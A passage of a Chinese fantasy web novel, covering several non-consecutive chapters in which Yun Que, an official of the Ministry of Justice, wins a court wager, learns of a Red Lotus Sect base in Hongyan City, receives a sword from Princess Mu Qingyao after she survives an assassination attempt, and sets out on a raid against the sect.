牧青瑶秀眉微蹙,目光中带着一丝担忧。 苏鸿山一张大脸上带着好奇,旁边的白厌则面带笑意举起手中酒杯朝着云缺遥遥一敬。 刑部侍郎姜落君,尚书上官鸿途,陈洲骅犁术等人神色各异,都在替云缺捏把汗。 刑部这边多为武夫,刚才的过招众人看得清清楚楚,都觉得那草原勇士极其难缠,普通的七品恐怕不是对手。 而云缺进阶七品还不到一月时间,根基属于最不稳固的一个,现在出战,很有可能栽跟头。 众目睽睽之下,云缺起身,朝着周史伯拱手道: “卑职领命。” 陈洲骅此时拽了拽云缺衣角,低声道: “那蛮子气血太盛,小心有古怪!” 云缺点点头,走到大殿中心。 没看那草原勇士,云缺再次朝着周史伯施礼,道: “首辅大人,如此切磋实在无趣,草原勇士也提不起兴致,不妨加点彩头,让草原勇士兴致高昂,他才能全力以赴啊。” 云缺此言一出,牧青瑶微笑起来。 她就知道云缺肯定不会白忙,长在钱眼儿里的人,若没有好处怎么可能平白出力。 周史伯点了点头,望向皇帝道: “陛下觉得呢。” 殷子受大手一挥,道:“那便加些彩头,纹银三万两,胜者可得。” 皇帝开口,云缺放心下来。 挺好! 自己活动活动筋骨,三万两到手,皇帝果然不差钱。 不过一份彩头,云缺可不满足,朝着使者忽疾拱了拱手道: “不知使者大人,可否也拿些彩头出来,否则我兴致不高,打起来绵软无力,不尽兴啊。” 忽疾明显愣了一下。 他在口舌相争方面,从来没遇过对手,精湛的诡辩天赋让他深得大汗器重从而成为草原使者,哪怕面对大晋的首辅,他忽疾也不落下风,步步紧逼。 可眼前这个年轻人的一句话,忽疾居然哑口无言。 原因很简单,就没见过脸皮这么厚的! 皇帝都给了彩头,你还来管我再要一份? 忽疾很快恢复过来,从容不迫的道: “陛下已经给出彩头,三万两的高价是我生平仅见,足够昂贵,草原地广人稀,贫瘠多年,拿不出好东西。” 忽疾本以为一句话把对方打发走也就完了,不料人家根本没走,还锲而不舍的跟他算起账来。 “没银子无所谓,你身上有没有什么首饰啊珠宝之类的都行,实在拿不出来,你们草原有牛羊吧,写个欠条当彩头,过后我派人去草原运回来,别担心,运费我出。” 云缺说完,不仅忽疾愣在原地,大殿里连着皇帝跟群臣全都瞠目结舌。 周史伯不由得摇头苦笑,对云缺的荒唐之举无可奈何。 忽疾目光骤冷,重新打量了一番眼前的年轻人。 他知道自己看走眼了。 还以为这位提刑官是个脸皮厚的,原来是个不要脸的! 一旁的别吉此时轻笑了起来,从头上摘下个精美的玉簪道: “这枚玉簪至少价值一万两,就当我们朱邪部的彩头好了。” 有别吉解围,忽疾的神色这才好转一些,冷哼一声。 按照礼节,异国使团给出的彩头,应该由宫女暂时接过保管,等比试结束再送给胜利者。 殷子受轻轻点了点头,立刻旁边有宫女拿着托盘走过去要接玉簪。 结果宫女没等走到近前,就被云缺扒拉到一旁。 云缺自己把玉簪接了过来,还随口道了声谢。 云缺这番举动可把忽疾气得不轻,怒道: “你懂不懂规矩!别吉的赏赐,尚未分出胜负之前岂能到你手里!难道你们大晋都是如此无礼之辈吗!” 但凡找到点由头,这位使者都要趁机贬低大晋,听得在场众人大为不忿。 有人觉得忽疾太过自大,也有人认为云缺做事荒唐。 周史伯没开口,笑意温和的望着云缺,好像先生测试学生时的样子,而且对学生信心十足。 云缺将玉簪收进怀里,道: “使者说得不对,我们大晋都是知书达理之人,特别讲道理,既然是我的东西,我为什么不能先收起来呢。” 第145章 十五年前的开门人 刑部今日无事。 有事也是犁术在忙。 云缺打开墨老给的小册子,仔细观看。 其上记载着如何运用神魂之力让炼尸爆发出本体修为。 之前的炼尸术,只是单一的功法阐述,很多晦涩之处需要自己摸索感悟,而这份小册子,则是更为珍贵的经验。 二者相辅相成,缺一不可。 云缺只看了一遍就彻底记下,小册子果然自行焚烧,很快化作灰烬。 云缺知道这才是真正的传承。 修行强者最为珍贵的能力绝非精通某一种法门,而是对各种法门的修炼经验。 这些修炼经验需要长年累月的积累,方可形成,绝非一朝一夕能达到,轻易不会外传。 “神魂居然还能离体!难怪炼尸堪比分身,照这么说,神魂类的法门修炼到极致,莫非能元神出窍?” 云缺摇了摇头,觉得不大可能。 道门儒家乃至佛门都有元神出窍的传闻,唯独没听过武夫也能元神出窍的。 那根本就不是武夫的能力范围,超纲了。 记下经验后,云缺暂时放下炼尸术,去了趟东宫。 炼尸的好处仅仅是混俸禄,不急于一时,泡澡的好处是修炼本体,最为重要。 舒舒服服的泡在温泉里,云缺如同主人般随手拿过一片金沙草扔进水中。 又是五百两的好处到手。 自从泡过几次之后,云缺明显感受到身体的变化。 血肉骨骼的凝实在其次,主要是杂质的排出速度加快,每次泡完,都会留下不少汗泥般的东西。 那是肉身洗练后的杂质。 云缺渐渐明悟了宗师境的真谛。 七品进阶六品,类似于洗筋伐髓,彻底洗练肉身,将本体打造成完美状态。 而这段过程,烧钱是无法避免的。 钱越多,修炼的速度越快! 反正是太子的钱,云缺一点都不心疼。 殷宣如今在云缺面前变得十分放松,堂而皇之的描眉打扮,更是穿了套金色的裙衣,在池边翩翩起舞。 跳的是霓裳羽衣舞。 一曲舞罢,殷宣坐在池边道: “我跳得如何,有没有点灵珠先生的神韵?” “殿下跳得好极了,与舞仙子简直不相上下,比起南楼先生也不遑多让。”云缺随口赞道。 “违心之言,你们男人没几个说实话的。”殷宣哼了声,捏着兰花指拿起一朵牡丹放进水中。 太子的这番女子举动,看得云缺起了一身鸡皮疙瘩。 “殿下不如学学武道,陛下新纳了皇妃,若是明年生个胖小子,你这太子之位怕要不保啊。”云缺道。 “我不在乎,皇位而已,哪有舞曲令人着迷。” 殷宣低吟道:“天回北斗挂西楼,金屋无人萤火流,月光欲到长门殿,别作深宫一段愁。” 云缺听得倍感无奈。 我从小流落街头都没愁过,你个锦衣玉食的太子愁什么愁! 既然是太子伴读,云缺不好总说些粗俗之词,绞尽脑汁后,朗声道: “少年不识愁滋味,爱上层楼,为赋新词强说愁,而今识尽愁滋味,欲说还休,却道天凉,好个秋!” 不知从哪看来的,谁写的不知道,反正云缺觉得比较应景,正值深秋,天气凉爽得很。 “老气横秋!” 殷宣点评后,也准备下水。 结果两只脚碰到水里的汗泥,顿时大怒道:“你们臭武夫天天这么脏吗!你前天才来泡过!” 云缺一张脸不红不白的道: “殿下担待,刑部整日繁忙,我这是累的,你看我多努力工作。” 殷宣狐疑的看了看云缺,道:“真那么忙的话,你还有空隔三差五的过来泡澡?” “劳逸结合嘛,呵呵。”云缺道。 “你是我认得的人当中,脸皮最厚的一个!”殷宣无可奈何。 云缺在他眼里就是个滚刀肉,赶不走打不过,人家还抓着他的小辫子,简直一个混世魔王。 泡过澡后,回到刑部正好赶上午饭。 刑部饭堂。 第146章 这丫头真傻 天牢内,云缺单独召见了石头。 石头气色不错,看得出最近伙食挺好,红光满面的,见到云缺立刻点头哈腰一脸媚笑。 “小人不负重任,混进了红莲教,大人要追查的那两个人,有线索了!” 云缺递过去一杯茶,道: “喝口水,仔细说说你出去后的经历。” 石头连忙双手接过,小心翼翼的喝了口,心里甭提多美了。 茶是好茶,关键这可是刑部天牢里的茶,提刑官大人亲自给的! 他经常进天牢,不是被打就是挨骂,以前的提刑官从来没拿正眼看过他,更别提喝人家的茶水了。 石头此时有一种出人头地,光耀门楣的自豪感,连忙将自己这些天的遭遇如实道出。 与那红莲教徒逃出城外后,石头跟着对方一起流落荒野,一路乞讨,最终到了鸿雁城附近的一座小镇子,这才安顿下来。 随后石头跟着那教徒接触到镇上的红莲教,就此混入其中,他说自己来自八山城,两地相隔遥远,镇上的红莲教也没法去查,而且有天牢里那教徒作证,石头的身份没人怀疑。 就这样在镇上住了两天养好伤势后,石头跟着红莲教的人进了鸿雁城。 至此他才知道,原来红莲教一处极大的堂口,就设在鸿雁城之内,这处堂口至少有上千教徒,其中高手众多。 石头没别的本事,最大的能耐就是混江湖,他很快在堂口混熟,帮着红莲教开始做事,而且见到了堂主。 那堂主正是两张人像图之一的胡子,令狐豪,石头于是趁着出城办事,溜回了天祈城报信儿。 得知经过后,云缺目光发沉,冷冷一笑,道: “居然敢在皇城脚下设立堂口,红莲教的胆子够大的!” 云缺之所以有此一言,是因为鸿雁城与天祈城相隔很近。 大晋地界之内,共有三座大城设置了伏妖大阵。 分别是天祈城,鸿雁城,长乐城。 长乐城远在大晋南端,是有名的稻米之乡,产粮重地。 鸿雁城是天祈皇城附近的一座大城,快马一天一夜即可抵达。 鸿雁之名的由来,是因为站在此城的城墙上,即可遥望天祈城,形容到了此地就像远来的鸿雁,很快即可抵达皇城。 鸿雁城是仅次于天祈城的晋国大城之一,守卫森严,更有伏妖阵存在,云缺没想到红莲教居然能渗透到此地。 石头带来的消息价值很大。 云缺说话算话,从刑部调了一百两银票奖赏给石头。 并让石头继续留在鸿雁城,等待接下来的里应外合。 “切记,回去后别露出马脚,该做什么做什么,等刑部大军一到,你只要接应即可,到时候又是一份功劳。”云缺道。 “大人放心,这么点小事我肯定办好!”石头捧着银票兴高采烈的道。 “令狐豪的下落,你要时刻关注,其他人都在次要,此人必须抓获。”云缺道。 石头连连点头,随后想起了什么,道: “大人,最近红莲教私下里重金招募高手,有不少人加入,还有七品强者入伙!” “你觉得红莲教的高手再多,会是皇帝的对手么。”云缺淡然道。 “那肯定不会!嘿嘿,我是给大人提个醒,让大人做到知己知彼,其实我觉得红莲教一盘散沙,什么人都招,连瞎子都要,这种势力肯定难成大器,只要大人率兵而来,必定将其铲平!”石头拍马道。 “你可知那教主的线索。”云缺问道。 “不知道,教主很神秘,我打听过认识的教徒,都说没见过教主本人,只在祭祀的时候见过教主的虚幻影像。”石头如实道。 “红莲教的堂口,最近在忙什么事。”云缺道。 “运东西!大箱小箱的有很多,都堆在堂口里。”石头道。 “运的是什么?”云缺皱眉道。 “不清楚,我只是普通教徒,没资格查看货物,每次行动都有更高级别的教徒带队。”石头想了想,道:“箱子很沉!估计是铁器之类。” “很沉……”云缺联想到了军械,问道:“你可知那些货物的来源地。” “不清楚,我只管运货,有的是从城外陆运过来,有的是从码头河运过来的,我没见过送货的人。”石头如实道。 云缺点点头,道: “你回去吧,三天之内,刑部会有所行动,莫要打草惊蛇。”彡彡訁凊 石头躬身施礼后从刑部后门溜走,连夜返回鸿雁城。 云缺直接去见侍郎,将消息告知。 上官鸿途得知后大喜,道: “这个令狐豪在红莲教中的地位不低,抓到他,有机会挖出红莲教的老巢!云缺,你做得不错!这次你的功劳我会如实告知陛下。” 云缺客气一句后,请命道: “天牢最近不算忙,此次剿匪,卑职也想尽一些绵薄之力。” “好!明日你一同前往,这次本官亲自率队,会一会那红莲教的妖人!”上官鸿途洪声道。 最近刑部没少被皇帝骂,从皇宫血案到红莲教,再到璇玉郡主失踪,刑部整天忙碌,却没一件事办成。 上官鸿途早憋了一肚子气,在这么下去,刑部都快成吃闲饭的了。 上官鸿途当晚下令,抽调刑部五司的人手,准备明天启程。 人不算多,均为五司令史,修为最低的都有八品,总共三十余人。 其实刑部令史总共五十人,由于之前发现天关城附近有红莲教的据点,吴鹰等人已经被派遣去剿匪,如今留在刑部的令史总共三十多位,这次被全部征调,相当于倾巢而出。 刑部的军兵则不带。 上官鸿途不想打草惊蛇,如果召集成千上万的人手,浩浩荡荡赶往鸿雁城,红莲教的人肯定会提前察觉。 上官鸿途定下的计划,是只带着刑部高手,到了鸿雁城之后,就地召集军兵。 鸿雁城里也有不少刑部人手,而且有大量官兵驻扎,以刑部侍郎的官职,调集上万军兵协助不在话下。 千余人的红莲教堂口,万人围攻足以拿下。 当晚,云缺没留在刑部,而是返回学宫,明天直接在城门口与刑部的人汇合即可。 学宫门口,一袭青裙的灵芸郡主宛若一朵青莲般亭亭而立,手里握着一把长刀。 刀鞘是上等兽皮打造,看不出刀体。 月光下,小郡主显得英姿飒爽。 “学宫什么时候雇了看门人。”云缺打趣道。 “等你呢,拿着,你的刀做好了。”牧青瑶将长刀推给云缺。 的确是推的。 牧青瑶这把刀始终立在地面,由于太重,她很难拿得起来。 “这么快,郡主果然言而有信!” 云缺单手抓起刀。 入手沉甸甸,至少有一百斤往上的份量。 这种份量,尚无修为的小郡主是提不动的,也不知她是如何费力从灵匠殿搬了出来。 看到牧青瑶额头残留的细汗,云缺心头一暖。 这丫头……真傻! 学宫十美之一,随便喊一声帮忙,大把武夫争着抢着来帮你搬运,何必自己费这么大力气。 “快看看,可还称心。” 牧青瑶眨着漂亮的眼眸催促道。 云缺道了声好,将长刀横在眼前,右臂忽然一动。 嗡! 长刀带着嗡鸣声出鞘,在学宫门口划过一道寒芒。 刀身漆黑如墨,散发着冰寒之气,刃口处流转着暗淡的幽蓝之色,预示着蕴含奇毒。 刀体狭长,与云缺的妖刀外表类似,连颜色都一样。 可见牧青瑶是专门打造成如何模样,只为了云缺用得趁手。 从刀体自带的气息即可判断,这把刀有着极品法器的程度! “好刀!” 云缺点头赞道,随后挽了个漂亮的刀花儿,往左侧一斩,直接将长刀归鞘。 云缺动了点手段。 出刀的同时,以气机裹住刀身,使长刀离开刀鞘的同时产生一股旋风,令刀鞘自行在半空转动,一时不会掉落。 整个过程,浑然天成,云缺只用了右手,左手根本没抬。 抽刀与收刀之际,刀鞘犹如定在了半空一般。 云缺只是懒得抬左手。 武者气机充盈,只要不打架,浑厚的气机如水满不溢,无处可放,无处发泄,这也是为何武夫大多脾气暴躁,一言不合就大打出手的原因之一。 单手抽刀入鞘,这一招在对战的时候没什么用处,但在女孩子面前有一种无法抗拒的吸引力。 简直帅气到爆棚! 牧青瑶看得眼睛发亮,小脸儿红扑扑的。 “多谢郡主。”云缺笑呵呵的道。 “答应你的事,自然会兑现!”牧青瑶背起小手道。 “既然郡主言而有信,那剩下的一份承诺……” 云缺伸出左手,五指来回弯曲,义正言辞的道:“什么时候兑现呢?” 白玉蛛螯牙的好处当中,还有再摸两下的承诺呢,这种重要的好处,云缺可没忘。 牧青瑶下意识的用手臂挡住心窝,一张俏脸红成了苹果,嗔怪道: “那份好处以后再说!至少、至少等我成为七品才行。” “行,郡主别忘了就好,我等得起。”云缺呵呵笑道。 牧青瑶恢复正常后,轻声道: “十七年蝉即将圆满,我要回司天监闭关冲击境界,最近不在学宫。” “预祝郡主修为大成,一帆风顺。”云缺恭贺后,道:“郡主早日成为七品,也好早日兑现承诺。” “坏人……” 牧青瑶剜了云缺一眼,轻声道:“你喜欢就好。” 云缺当然喜欢! 小郡主的那份柔软,他至今难忘,手感简直太好了! 分别前,牧青瑶目光温柔如水的望着云缺,轻声道: “这一世,除你之外,我的身体无人再可触及。” 声音很轻,但语气很重,不等云缺说话,牧青瑶脸色一红,转身跑上王府马车。 马车旁有王府护卫,撩起门帘恭请郡主上车。 车夫扬起马鞭,马车朝着司天监行去。 云缺挠了挠头,嘿嘿一笑。 心有灵犀的人,其实无需多言,牧青瑶不想让云缺觉得她是个随便会让外人触碰身体的人,今天才道出这番话,当然也是她的肺腑之言。 云缺当然懂得小郡主的心意,心里暖暖的。 目送着王府的马车远去,云缺转身走向学宫大门。 有了趁手的武器,明天正好拿红莲教的人试刀。 “就叫毒牙好了。” 云缺给手里的长刀起了个简单的名字,毒牙刀。 想起红莲教,云缺皱了皱眉。 石头带来的消息,云缺觉得其中好像有什么地方不对劲。 红莲教敢在鸿雁城大肆招收信徒,如此举动不太寻常,太过于明目张胆了。 要知道天祈城可就在鸿雁城旁边呢。 “红莲教,到底打算做什么?” 低语中,云缺没来由的一阵心神不宁,脚步,随之停在学宫的门口。 阜南王府的马车,平稳行驶在长街。 车厢内,牧青瑶轻轻抿着唇,望向窗外的夜景。 一只手下意识的按了按心窝。 “他,会喜欢吧……” 牧青瑶低声自语着,俏脸上现出一种羞涩中略带着难堪的神色。 对于郡主来说,如此举动,实在荒唐了些。 上次在游子湖的湖心亭,牧青瑶可是鼓足了勇气才做出的决定。 不仅为了履行承诺,还有一点小心机在其中。 尽管身在鸿儒殿,牧青瑶也听闻了云缺入学宫之后的经历,得知云缺与百花殿的舞仙子有所交集。 小郡主深知近水楼台先得月的道理,尤其那舞仙子美貌无双,不比她牧青瑶差,明显是劲敌。 虽然心系苍生,胸怀宽阔,但感情这种事,灵芸郡主是不会谦让的。 “成为七品儒修,到时候就不会拖云缺的后腿了。” 牧青瑶幻想着拥有修为之后,与云缺一起修炼,一起探索险地,一起游历天下的画面,绝美的俏脸上浮现出憧憬的笑容。 从天祈学宫到司天监,这段路并不长,用不上半个时辰,很快即可抵达。 但今晚,这条路,显得格外漫长。 当牧青瑶沉浸在女孩子特有的幻想之中,车门忽然开了,车夫脸色苍白的闯了进来。 “郡主!快……” 说了个快字,车夫顿了顿,仿佛喉咙里有什么东西卡住了一样,他脸色狰狞起来,猛地喷了口鲜血,用尽力量道出了最后一个字。 “逃!” 噗! 一把利刃,从车夫的心窝穿透而出,锋利的剑刃上滴落着鲜红血迹。 第147章 郡主必须死 当车夫的尸体倒下之际,牧青瑶立刻做出了正确决定。 她直接跳出车窗。 摔倒在地的痛楚,此刻牧青瑶已经感知不到,她只知道自己必须逃走才有活路! 牧青瑶不敢回头,用尽全力往前奔跑。 心跳如雷,呼吸急促。 身后,是王府护卫相继被杀的倒地声。 牧青瑶不知道凶手是谁。 但她听得到脚步声就在身后不远的地方,杀手紧追不舍! 牧青瑶做梦也没想到,自己从学宫到司天监的这一段路上,居然遭遇了截杀。 司天监的观星台遥遥在望,可牧青瑶觉得这段距离无比漫长。 她奔逃的地方,是一条空旷小巷,两侧是冷冰冰的石墙,没有人家。 身后的脚步声越来越近,如索命的恶鬼。 牧青瑶的心里只剩下一个念头,今天,是她的死期! 绝望之际,小郡主看到小巷尽头有一户人家,院门半掩着,其内隐约有烛火闪烁。 没了去路,牧青瑶只能拼尽全力逃进那户人家。 进院子后,立刻回身将院门锁死。 牧青瑶没有修为,挡不住杀手,只能做到如此地步。 她知道一扇木门根本没用,但已经别无他法。 牧青瑶大口喘着气,面对着院门,一步步缓缓后退,等待着木门被破开。 结果门外再无声息。 仿佛这座小院是一处世外桃源,不被凡人所见。 疑惑之际,牧青瑶猛然转身,看到了院子里的景色。 一张木桌,两把木椅。 桌上摆着一支红烛。 刚才隐约看到的火光,就来自这支红烛。 “红莲教……” 牧青瑶的心彻底沉了下去。 不是杀手追丢了目标,而是她这个猎物,已经踏入了死地。 嘎吱。 房门开启,走出一名老者,模样普通,身形瘦削,穿着一身粗布衣衫,看起来如同普通的农户。 看到老者的同时,牧青瑶惨然一笑。 对方她认得。 正是返回皇城的路上,那个摆茶摊的火烛使者,宏河! “郡主气色不错,别来无恙。” 宏河面带笑意,但眼神冷冽如冰。 牧青瑶深吸一口气,缓缓坐在一侧的木椅上。 对方是六品筑基境高手,在人家面前,牧青瑶毫无活路,既然明知必死无疑,不妨大方一些,至少气势上不能低人一等。 “在天祈城内击杀郡主,你该知道后果。”牧青瑶平静的道。 “当然知道,皇帝会封城,刑部会搜查,禁军会出动,司天监也会有高手出马。” 宏河稳稳的坐在木桌对面,道:“既然敢来劫杀郡主,自然没想过会活着离开天祈城,用我一条命,换灵芸郡主一条命,划算。” 牧青瑶淡然一笑,道: “我想不通,红莲教为何不惜耗费一位六品高手,也要置我于死地,我知道今天必死,但临死之前,还望火烛使者解惑。” 宏河叹息道: “郡主的这份冷静,足以傲视一众七品修士,你既然想知道,告诉你也无妨。” “愿闻其详。”牧青瑶道。 “郡主博学多才,想必会下棋才对,你觉得用一个马,换对手的一个士,值不值呢。”宏河道。 第150章 红莲教主的身份 云缺最先察觉到有人来临,猛然握紧了刀柄。 回头一看,放心下来。 是个面瘫脸,容貌清秀,齐耳短发,正是司天监那位帮忙审讯负易的花不谢。 “四师姐!你怎么来了?” 牧青瑶看到来人后急忙起身见礼。 听闻牧青瑶的称呼,云缺这才知道原来花不谢是女人。 不是云缺眼力不行,而是这位实在太……平了。 花不谢面无表情的看了眼院内尸骸,语气平淡无波的道: “察觉到附近有法力波动,来看看情况。” 牧青瑶将经过简短讲了一遍。 花不谢的神色仍旧没有丝毫变化,点了点头,道:“杀手可有余孽,我来清缴。” “即便有也早跑了!等你们司天监来人,黄花菜都凉了。”云缺指了指院子道:“这次是刑部的功劳,跟司天监无关。” 云缺憋着一肚子气呢。 人家就在司天监附近设伏劫杀郡主,结果凶手已经毙命,司天监才来人。 花不谢什么也没说,转身就走。 牧青瑶追了上去,道:“我和师姐一起回去。” 说着回头朝云缺摆手道别。 云缺也起身跟了上去,把毒牙刀扛在肩头,走在牧青瑶旁边。 “有四师姐在,不会有危险的,命案现场还要忙,不用担心我。”牧青瑶道。 “送佛送到西,不差这么点距离,我顺便去看看观星台奇特的构造。”云缺道。 “观星台没什么可看的啊,普通高塔而已。”牧青瑶奇怪道。 “不普通!一定修建得鬼斧神工,玄奥无比,要不然在塔里怎么啥也看不到呢,跟瞎了似的。”云缺自顾自的指桑骂槐。 牧青瑶无奈苦笑,听了一路云缺变着法的挖苦。 花不谢身为监正四弟子,果然稳重,任凭云缺说得如何难听,她始终不为所动。 到了司天监门口,连云缺都有些佩服这位花大人。 忍耐力很强啊! 花不谢虽然始终一语不发,但光洁的额头能看到明显的青筋凸起。 一路上牧青瑶提心吊胆,生怕旁边的两人打起来。 等牧青瑶走进司天监,云缺原路返回。 王府马车附近已经围拢了大批军兵,阜南王府的护卫被杀,这可不是小事。 一群官兵心惊胆战的查看,生怕翻出来灵芸郡主的尸体。 见云缺到了,立刻有官差前来禀告。 这时陈洲骅带着督捕司的人手也火急火燎的赶来,一到地方立刻询问郡主下落。 “郡主安然无恙,刺客都被我处理掉了。” 云缺一句话,陈洲骅长出一口气。 “还是云大人威武!这次又是大功一件呐!”陈洲骅赞道。 “小事一桩,陈大人来得也不慢,待会儿搜寻凶手余孽,也是一份功劳。”云缺道。 陈洲骅立刻会意,吩咐手下道:“赶紧把人手散开,整条街都给我查三遍!” 督捕司的人开始忙碌起来。 回到设伏的小院,云缺叫来几个刑部的人手,帮着运送那三头傀儡巨狼。 不往刑部送,而是送到学宫。 战利品,云缺可不想交出去。 陈洲骅看了眼院子,顿时一惊。 院落里残留着大片碎裂的冰块,遍地白雪,都是法术造成的遗留物。 陈洲骅身为六品武者,常年办案,眼力很毒,看到这些坚硬的冰块加上那三头明显不弱的傀儡巨狼,大致判断出凶手的修为。 “云大人经历了一场恶战啊!对方难道是六品?”陈洲骅惊疑道。 “筑基修士。”云缺道。 听闻筑基修士四个字,陈洲骅立刻张大了嘴巴,两只手齐齐挑起大拇指。 “杀六品!云大人厉害,我服气了!” 陈洲骅由衷的赞叹。 他并非没见过越阶杀人的情况,但结果肯定是低境界的一方濒死,或者被重创。 但瞧瞧人家云缺,没事儿人一样! 身上就是点皮外伤! 陈洲骅自己对战六品,即便能赢也得是险胜,绝对无法像云缺这般轻松。 云缺客气了两句,问道: “陈大人可知那无舌是什么修为。” 第152章 云老鬼与牧小妖 鸿雁城位于皇城以北。 从天祈城出发,需要一天的路程方可抵达,途经妖山,一路景致不错。 刑部的三驾马车已经等在城门口,云缺到了后,立刻起程。 此行共计三十五人,由上官鸿途率队,陈洲骅作为副手,其余均为各司令史。 上车后,云缺先与众人打过招呼,随后观摩起车厢的构造。 这种车厢并非普通车马,而是一种特制的法器,名叫御风车,以灵石驱动,坐上十几人仍旧轻如鸿毛。 御风车本身无法独自行进,只是个车厢构造,却拥有一定的加速效用,需要两匹膘肥体壮的好马拉着,行路的时间至少能缩短一半,速度不比飞行法器慢多少。 一天的路程,清晨出发,中午之前即可抵达。 御风车大多是尚书或者侍郎需要外出其他城镇才有资格调动,毕竟这东西耗费灵石,轻易不会动用。 云缺在刑部见过御风车,这次第一次乘坐,觉得十分新奇。 尤其当御风车行驶起来,速度果然惊人,窗外的景致快速朝后面掠过。 好东西! 云缺觉得这种马车简直是出门办案的最佳工具。33qxs.m 陈洲骅在车厢里大咧咧的道: “飞行法器是好,在天上破空而行,看起来仙气十足,但耗费法力啊,跟鸟差不多,飞累了需要落下休息,咱们这多好,往车厢里一坐,困了还能睡觉,轻松惬意!” 云缺笑道: “飞行法器得自己驾驭,一个走神儿就飞歪了,御风车简单实用,派个人驾驭马匹即可,咱们大家伙能在路上喝酒吃饭,悠哉得很。” 陈洲骅道: “云大人说得没错!这才是咱们武夫能享受的待遇,什么道门儒家,统统靠边站!” 云缺笑道: “任他飞天遁地,我自乘车而行,这叫逍遥!” 上官鸿途在前边的车里,这处车厢就属云缺和陈洲骅官最大,两人自然肆无忌惮,爱说什么说什么。 旁边一众令史听得脸上赔笑,心里腹诽。 这二位大人是把吃不到葡萄说葡萄酸,演绎到极致了。 云缺这边与同僚谈天说地,悠闲自得的时候,刚刚回到鸿雁城的石头却经历了一场危机。 石头比较谨慎,进城后没有立刻返回红莲教的堂口,而是在外面转悠一圈,找到当时天牢里的那个教徒,打听堂口最近有没有什么动静。 得知一切正常后,石头才放心下来,结果刚刚回到堂口,准备跟着其他教徒瞎忙活的时候,被人叫住。 对方是个瘦小枯干的汉子,两只眼睛铺满白翳,是个瞎子。 “石头,副堂主叫你过去一趟,跟我走吧。” 石头点头哈腰的答应着,心里一个劲叫苦。 这处堂口设有堂主一位,是教派里的老人儿,而副堂主有三位,全是最近新招收的高手,都有七品修为,而眼前这个瞎子,就是一个副堂主的心腹。 石头没办法,硬着头皮跟对方来到一间屋内。 屋子里坐着个浓眉环眼的汉子,瞎了一只眼,戴着眼罩,本来长相就凶悍,加上独眼,看起来如同刽子手似的。 “副堂主,找我啥事啊?”石头陪着笑脸道。 “这两天,你去哪了,怎么不见人呢,你不知道堂口最近事务繁忙,天天都需要人手吗。”独眼副堂主拿腔作调的道。 “这两天有点私事,去要了笔账,两年前一个朋友跟我借钱,现在才还上。”石头胡编道。 “要账?我看你是去皇城给皇帝老儿通风报信了吧。”独眼副堂主冷哼道。 石头吓得一哆嗦,心说他怎么知道! 石头混迹江湖多年,胆子是有的,人也比较机灵,很快冷静下来,赔笑道: “堂主说笑了,皇帝认得我是谁呀,我要在皇宫门口走一圈,非得被打一顿不可。” “是么。”独眼副堂主冷笑连连。 “他说谎!我亲眼看见他离开鸿雁城的时候,往皇城方向去了,副堂主,这小子肯定是皇帝派来的奸细!打入我们红莲教内部,要来个里应外合!”瞎子义正言辞的道。 石头都听傻了,茫然的望向瞎子。 你个瞎子,用哪只眼睛看到我往皇城走了? 屁股后边那只吗! 石头心里一边骂一边打鼓,不管对方是不是胡说,人家真猜对了! 一旦被证实自己是刑部的暗线,以红莲教的作风,非得把他扒皮抽筋不可! “说!这两天你到底去了何处!说不清楚,哼哼,你知道下场!”独眼副堂主威胁道。 “我真去要债了!副堂主您瞧,银票还热乎呢。” 石头急中生智,把云缺奖励他的一百两银票拿了出来。 旁边的瞎子一把夺过银票,摸了摸,道: “堂主,银票没问题。” “原来要账去了,姑且信你一次,码头那边正缺人手卸货,你去帮忙吧。”独眼副堂主摆手道,轰苍蝇似的。 石头大喜,顾不得擦冷汗,伸出双手一脸讪笑的等着拿银票。 结果等了半晌,那瞎子根本没打算给他。 “还不去,等什么呢。”独眼副堂主冷着脸道。 “银票,还没还给我呢……”石头道。 “银票是不是皇帝赏给你的!我看你就是皇帝派来的奸细!”独眼副堂主怒道。 “银票不是我的!是堂主的!”石头当机立断。 “去干活吧,没有银票你就没有嫌疑了,我们红莲教就该互相友爱,互相扶持。”独眼副堂主板着脸,义正言辞道:“红烛不灭!” 旁边的瞎子接话道:“莲台永存!” 石头也跟着喊了句口号,苦着脸退了出去。 等离开屋子,石头终于想明白了。 拿着银票,我就是奸细,没有银票,我就是教徒,这他娘的跟明抢有什么区别! 石头恨死了屋子里的两个家伙,心说等着吧,等刑部的人到了,先拿你们两个黑心的家伙开刀。 石头走后,屋子里的两人低声嘀咕着。 “又弄来一百两,嘿嘿!这几天咱们没少捞银子。”瞎子道。 “能捞一笔是一笔,要不是这边管饭,谁来红莲教,再过两天差不多该溜了,红莲教大张旗鼓,肯定会惹来麻烦,一会儿吃顿好的,青楼听个小曲儿!”独眼副堂主道。 鸿雁城临水而建,有一条河途经此地,修建着码头,每天都热火朝天,卖力气赚钱的比比皆是。 水运比起陆运要便宜得多。 许多商家会选择用船运送货物抵达鸿雁城,再走陆运转往天祈皇城,如此一来能节省不少银子。 石头在码头干了半天苦力,中午才收工,腰酸背疼的回到堂口。 在门口附近正好看到那位独眼副堂主和瞎子出门,石头见两人没注意他,于是偷偷跟了上去。 跟了一路,看到两人大摇大摆的走进青楼,石头气得肠子都青了。 “抢我的银子,去青楼听曲儿?你们是红莲教吗,简直是冷血的山匪!” 石头欲哭无泪。 走在街边看到酒楼上的食客吃香喝辣,他愈发懊恼。 本来一百两银子的赏赐,足够他吃喝玩乐一阵子了,结果这下好,刚捂热乎就没了。 正在心里大骂红莲教的时候,石头看到街上走来一伙人,个个气宇不凡,穿着便服。 石头一眼看到人群里的云缺,立刻大喜,急忙迎了上去。 “云大人!您可算来了!” 石头跟见到亲人似的,两眼含泪。 云缺刚到鸿雁城,见到石头,立刻将其拉到一旁的小巷。 上官鸿途一个眼神,陈洲骅等人会意,将巷子口守住。 “堂口的位置在何处。”上官鸿途沉声问道。 石头不认得对方,看了眼云缺。 “侍郎大人问话,如实回答即可。”云缺道。 石头一听是刑部侍郎,连忙弯下腰,毕恭毕敬,如实道出知道的一切消息。 石头心里别提多美,对面的可是刑部侍郎,当朝三品! 能被三品的高官问话,石头觉得自己的祖坟今天都得冒青烟。 包括堂口的具体位置,其内的构造与人手,大致有多少高手,全都说了一遍。 上官鸿途听闻后点了点头,道: “千余人,不算少,正好一锅端!来人,拿我令牌去调集鸿雁城守军,征调一万人手。” 陈洲骅领命,带着令牌去调兵了。 上官鸿途是个雷厉风行的人,今天到,今天就行动,免得夜长梦多。 “堂主令狐豪可在。”云缺问出了关键点。 